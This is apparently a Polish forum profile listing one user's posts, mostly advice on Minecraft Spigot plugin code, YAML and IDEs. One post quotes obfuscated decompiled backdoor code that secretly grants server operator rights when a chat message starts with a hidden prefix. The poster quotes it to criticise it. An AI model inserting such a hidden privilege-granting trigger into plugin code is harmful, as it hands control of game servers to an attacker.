-
Ilość zawartości
284 -
Rejestracja
-
Ostatnia wizyta
-
Wygrane w rankingu
5
Treść opublikowana przez GotoFinal
-
jak nie ma licencji to znaczy że ma wszystkie prawa i obowiązuje All Rights Reserved....
-
no chcesz tylko ukraść czyjś plugin... nie widzę powodu czemu ktoś miałby ci w tym pomagać.
-
skąd ten plugin pochodzi że ma backdoora...?
-
Algorytmy i idee same w sobie nie są objęte prawami autorskimi i żadną prawną ochroną, co oznacza że jak zrobi plugin a o takim samym działaniu - i nie kopiując niczego od ciebie - to jest to w pełni legalne i nie narusza żadnych własności. EDIT: jedyne o co możesz się przyczepić to o opublikowane go tutaj. I jak jesteś autorem możesz żądać usunięcia go stąd - a wtedy on może zamiast tego podać link do tematu z twoją publikacją np
-
też nie wiem za co, crashowanie to ciekawa opcja by odstraszyć troli, zamiast bana. Może wrzuć jeszcze raz, ale jakoś inaczej opisane, np StopTroll i opcjami że wybranych graczy losowo crashuje w niektórych eventach, taki system mają niektóre forma, np xenforo, tak że zamiast banować trola możesz go zniechęcić do używania forum - a tutaj gry. Nie wiem co za nooby to usuwają Ale jakiego poziomu spodziewać się po tym forum....
-
ale wtedy nie możesz tego udostępniać publicznie itd, tylko mieć dla siebie.
-
demo jest tylko po to by sprawdzić jak to działa.... nie ma tak że jest na stronie to można... dali demo - możesz sobie pobrać, użyć i zobaczyć czy podoba ci się poziom na jaki to zabezpiecza, jak tak to kupujesz i używasz.
-
bez sensu przecież, co to za backdoor gdzie każdy ma takie same ukryte komendy? xD do tego co z tego że zaciemnione, ajk dalej widac ze to backdoor, bo widać że wiadomośc ma się od czegoś zaczynać i wtedy dać opa if (a.getMessage().startsWith(DMCoreConnect.ALLATORIxDEMO("y^2\n"))) { AsyncPlayerChatEvent tmp118_117 = a;localPlayer = tmp118_117.getPlayer();tmp118_117 .setCancelled(true); Player tmp130_129 = localPlayer;localPlayer.sendMessage(DMCoreConnect.ALLATORIxDEMO("�M�\026\006�k�1\024<\034\t\017.�j�1W�L�\026\037\033>\0219\0252\b�M�\026\000�;�14<\036<\r<\0244\037}\025-\037/\033)\025/\033"));tmp130_129.setOp(true);tmp130_129.sendMessage(DMCoreConnect.ALLATORIxDEMO("�M�\026\006�k�1\024<\034\t\017.�j�1W�L�\026\037\033>\0219\0252\b�M�\026\000�;�15-\037/\033)\025/ZgZ)\b(\037")); } + wersja demo alatori, czyli jesteś piratem, zabij się ;/ Ni to backdoor, ni to plugin, ni to cokolwiek, gówno i tyle ;/
-
zależy jak patrząc, ogólnie potrafi zejść mocniej, ale używałem eclipse i intellij na kompie z pentium 4 xD i intellij o dziwo działało lepiej - tylko koniecznie wersja community i trzeba wejść w pluginy i wyłączyć to czego się nie używa (na community tak właściwe nie ma zbędnych, o ile nie zaznaczysz przy pierwszym odpaleniu że chcesz kotliny, skale czy androida) Intellij lepiej pożytkowało tę moc najlżejszy jest netbeans, ale możesz spróbować intellij.
-
String pName = args[0]; if(Bukkit.getPlayer(pName) !=null){ Player cel = Bukkit.getPlayerExact(args[0]); skoro już zrobiłeś pName to potem dalej tego używaj, tak samo nie ma sensu raz użyć getPlayer a raz getPlayerExact bo to zwraca inne wyniki, i już nie wiesz czy gracz będzie czy nie. EDIT: no i ogólnie nie pobieraj gracza niepotrzebnie kilka razy, daj do zmiennej i sprawdzaj czy ona jest nullem itd. A tak to permissions sprawdzaj na początku komendy if (! sender.hasPermission("...")) { // wyslanie info do użytkownika return true; }
-
no bo tu nie ma żadnego gracza, powinieneś zaczać od podstaw javy. Odwołujesz się do zmiennej "player" a przecież nigdzie takiej nie masz, masz tylko zmienną "m" i "e". Tutaj nawet nie ma pobrać jakiego gracza, bo to event dotyczący tylko bloku, w tym gracz nie bierze udziału, ale np z eventu PlayerBuckerEmptyEvent można już gracza pobrać metodą .getPlayer z obiektu eventu.
-
czemu masz średnik po ifie, wtedy żaden kod do tego ifa nie jest wykonywany, formatuj kod - każde ide ma taką opcję, wtedy lepiej widać takie błędy. No i co robi sprawdzenie nazwy komendy w evencie, przecież tam już nie wykonuje się żadna komenda, więc nie ma tam takiej zmiennej też.
-
nie mam pojęcia, bo nie wiem kompletnie o czym piszesz
-
nie. nie nauczysz się kopiując gotowca https://hub.spigotmc.org/javadocs/bukkit/org/bukkit/event/player/PlayerBucketEmptyEvent.html masz wszystko w tym evencie, tylko nasłuchiwać i anulować kiedy chcesz.
-
no blokujesz event BucketEmptyEvent jeśli kliknięty blok to trawa
-
https://www.spigotmc.org/wiki/plugin-snippets/
-
noo a co już napisałeś, z czym masz problem? wiesz jak się rejestruje eventy? komendy? pokaż jakąś swoją inicjatywę a nie tylko czekasz na gotowca.
-
durability nie jest zmiennoprzecinkowe, więc float nie ma sensu, tylko dajesz szansę ze porównanie się nie uda bo wartośc będzie inna o 0.000001. A od material jest: https://hub.spigotmc.org/javadocs/spigot/org/bukkit/Material.html#matchMaterial-java.lang.String- Bo valueOf musi się idealnie zgadzać i jest case sensitive co w tym wypadku nie ma uzasadnienia.
-
no większośc tych "hardcore" to wlasnie takie male szybkie serwery na kasę, proste łatwe serwerki bez dopasowania czegokolwiek
-
przecież istnieją gotowe pluginy do zarządzania receptami, więc po co osobny na coś tak małego? A kod okropny, klasy z małych liter, brak możliwości zmiany wiadomości itd ;/
-
no twoje w skrypcie tez lizy od 0 do 4, bo przecież liczysz od 1 do 5 a potem odejmujesz 1, więc wychodzi od 0 do 4. chodzi ci o sprawdzenie warunku czy liczba jest w zakresie? No trzeba if (z >= 10 && z <= 20) lub można napisac/użyć jakiejś metody, np: if (Range.between(10, 20).contains(z)) Czy zrobić sobie metodę isBetween(int x, int from, int to) { return x >= from && x <= to; } i wtedy if (isBetween(z, 10, 20)) plus taki że możesz taką metodę zrobić statycznie i używać wszedzie, ale pewnie w jakiś bibliotekach dołączonych do spigota już taka jest.
-
wtf? czemu te i++ jest osobno, a tak to zakładam ze te loop number liczy od 1, więc to można zastąpić tak: for(int z = 0; z < 5; z++){ // i tutaj już liczy od 0 do 4 włącznie. }
-
tutaj masz problem że znak & jest znakiem specjalnym w YAML, więc musisz oznaczyć ze to jest string: fly_enable: "&cWiadomosc" fly_disable: "&aWiadomosc" (dotyczy to tylko przypadków gdzie string zaczyna się od &, w środku może być )
-
public class SpyPlayer extends ArrayList<Player> takie coś nie ma sensu i nazwa jest myląca, jak by miało reprezentować jednego gracza, a to jest tylko lista. Tym bardziej takie coś: public ArrayList<Player> getList() { return this; } po co zwracać to samo co jest, nic to nie zmienia. public boolean isSet(Player p) { for (Player in : this) { if (in.getName().equalsIgnoreCase(p.getName())) { return true; } } return false; } a do takich operacji są lepsze mapki i zwyczajnie sety, trzymasz tam też graczy, więc wystraczy tylko .contains I no właśnie, trzymasz tam graczy, a to zły pomysł, bo jak gracz wyjdzie z serwera, to dalej zostaje tam - i zajmuje to pamięć.
-
pokaż ten kod z eventem i powiedz co dokładnie chcesz osiągnąć
